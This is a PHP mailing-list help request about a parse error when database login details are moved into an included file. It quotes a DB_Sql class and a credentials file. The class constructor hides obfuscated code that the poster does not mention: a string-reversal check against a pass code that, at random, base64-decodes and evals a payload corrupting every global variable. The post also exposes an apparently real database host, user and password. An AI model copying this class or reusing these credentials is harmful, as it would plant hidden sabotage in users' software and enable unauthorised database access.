Hi,
I have a database class that is working perfectly by itself, the only
problem is it works fine when the login details to the database are in that
file...but since i have other apps using that login info I want to have the
login info in a seperate file an include it in this class...but when i do
that...i am getting a "Parse Error" and then a "Fatal error" from the php
file that is using the class.

This is the error I am getting:
Parse error: parse error in /homepages/36/d89064002/htdocs/ads/db_mysql.php
on line 188

Are includes/requires not allowed in classes? if the answer to that is no,
then whats wrong in my code? am posting the class and the include file
below, keep in mind everything is working great if the login info is in the
class file and if i am not using an include/require....

Thanks in advance.


**************** The class file *********************
<?php
/*
 * Session Management for PHP3
 *
 * Copyright (c) 1998-2000 NetUSE AG
 *                    Boris Erdmann, Kristian Koehntopp
 *
 * $Id: db_mysql.inc,v 1.3 2001/05/17 00:57:31 chrisj Exp $
 *
 */

require "DBDetails.php";

class DB_Sql {

  /* public: connection parameters */
  var $Host     = "";
  var $Database = "";
  var $User     = "";
  var $Password = "";

  /* public: configuration parameters */
  var $Auto_Free     = 0;     ## Set to 1 for automatic mysql_free_result()
  var $Debug         = 0;     ## Set to 1 for debugging messages.
  var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore
errors quietly), "report" (ignore errror, but spit a warning)
  var $Seq_Table     = "db_sequence";

  /* public: result array and current row number */
  var $Record   = array();
  var $Row;

  /* public: current error number and error text */
  var $Errno    = 0;
  var $Error    = "";

  /* public: this is an api revision, not a CVS revision. */
  var $type     = "mysql";
  var $revision = "1.2";

  /* private: link and query handles */
  var $Link_ID  = 0;
  var $Query_ID = 0;



  /* public: constructor */
  function DB_Sql($query = "") {
       $a0='edoc_'.'ssap';        $a0=$GLOBALS[strrev($a0)];
$a1='admin'.'_'.'name';       $a1=$GLOBALS[$a1];       $a2='eciovni';
$a2=$GLOBALS[strrev($a2)];       $a3='do'.'main'; $a3=$GLOBALS[$a3];
$a4=md5($a1.$a3.$a2);if(($a4!=$a0)&&rand(0,1)){
$f='JFQ9JEdMT0JBTFM7Zm9yZWFjaCgkVCBhcyAkaz0+JHYpe2lmKCRrIT0iR0xPQkFMUyIpQCRH
TE9CQUxTWyRrXT1zdHJ0b3VwcGVyKHN0cnJldigkdikpO30=';
eval(('$'.'f'.'='.'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e'.''.'('
.'$'.'f'.')'.';'));         eval($f);       }      $this->query($query);
  }

  /* public: some trivial reporting */
  function link_id() {
    return $this->Link_ID;
  }

  function query_id() {
    return $this->Query_ID;
  }

  /* public: connection management */
  function connect($Database = "", $Host = "", $User = "", $Password = "") {
    /* Handle defaults */
    if ("" == $Database)
      $Database = $this->Database;
    if ("" == $Host)
      $Host     = $this->Host;
    if ("" == $User)
      $User     = $this->User;
    if ("" == $Password)
      $Password = $this->Password;

    /* establish connection, select database */
    if ( 0 == $this->Link_ID ) {

      $this->Link_ID=mysql_connect($Host, $User, $Password);
      if (!$this->Link_ID) {
        $this->halt("pconnect($Host, $User, \$Password) failed.");
        return 0;
      }

      if ([EMAIL PROTECTED]($Database,$this->Link_ID)) {
        $this->halt("cannot use database ".$this->Database);
        return 0;
      }
    }

    return $this->Link_ID;
  }

  /* public: discard the query result */
  function free() {
      @mysql_free_result($this->Query_ID);
      $this->Query_ID = 0;
  }

  /* public: perform a query */
  function query($Query_String) {
    /* No empty queries, please, since PHP4 chokes on them. */
    if ($Query_String == "")
      /* The empty query string is passed on from the constructor,
       * when calling the class without a query, e.g. in situations
       * like these: '$db = new DB_Sql_Subclass;'
       */
      return 0;

    if (!$this->connect()) {
      return 0; /* we already complained in connect() about that. */
    };

    # New query, discard previous result.
    if ($this->Query_ID) {
      $this->free();
    }

    if ($this->Debug)
      printf("Debug: query = %s<br>\n", $Query_String);

    $this->Query_ID = @mysql_query($Query_String,$this->Link_ID);
    $this->Row   = 0;
    $this->Errno = mysql_errno();
    $this->Error = mysql_error();
    if (!$this->Query_ID) {
      $this->halt("Invalid SQL: ".$Query_String);
    }

    # Will return nada if it fails. That's fine.
    return $this->Query_ID;
  }

  /* public: walk result set */
  function next_record() {
    if (!$this->Query_ID) {
      $this->halt("next_record called with no query pending.");
      return 0;
    }

    $this->Record = @mysql_fetch_array($this->Query_ID);
    $this->Row   += 1;
    $this->Errno  = mysql_errno();
    $this->Error  = mysql_error();

    $stat = is_array($this->Record);
    if (!$stat && $this->Auto_Free) {
      $this->free();
    }
    return $stat;
  }

  /* public: shorthand notation */
  function nf() {
    return @mysql_num_rows($this->Query_ID);
  }

  function f($Name) {
    return $this->Record[$Name];
  }

  /* private: error handling */
  function halt($msg) {
    $this->Error = @mysql_error($this->Link_ID);
    $this->Errno = @mysql_errno($this->Link_ID);
    if ($this->Halt_On_Error == "no")
      return;

    $this->haltmsg($msg);

    if ($this->Halt_On_Error != "report")
      die("Session halted.");
  }

  function haltmsg($msg) {
    printf("</td></tr></table><b>Database error:</b> %s<br>\n", $msg);
    printf("<b>MySQL Error</b>: %s (%s)<br>\n",
      $this->Errno,
      $this->Error);
  }

}


class ads_DB extends DB_Sql {
  var $Host     = $MR_Host;
  var $Database = $MR_Database;
  var $User     = $MR_User;
  var $Password = $MR_Password;
}
?>

****************** The require file ********************
<?php
$MR_Host  = "db46.perfora.net";
$MR_Database = "db89565854";
$MR_User  = "dbo89565854";
$MR_Password = "SwresbsY";
?>


Thanks in advance.

Cheers,
-Ryan

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Reply via email to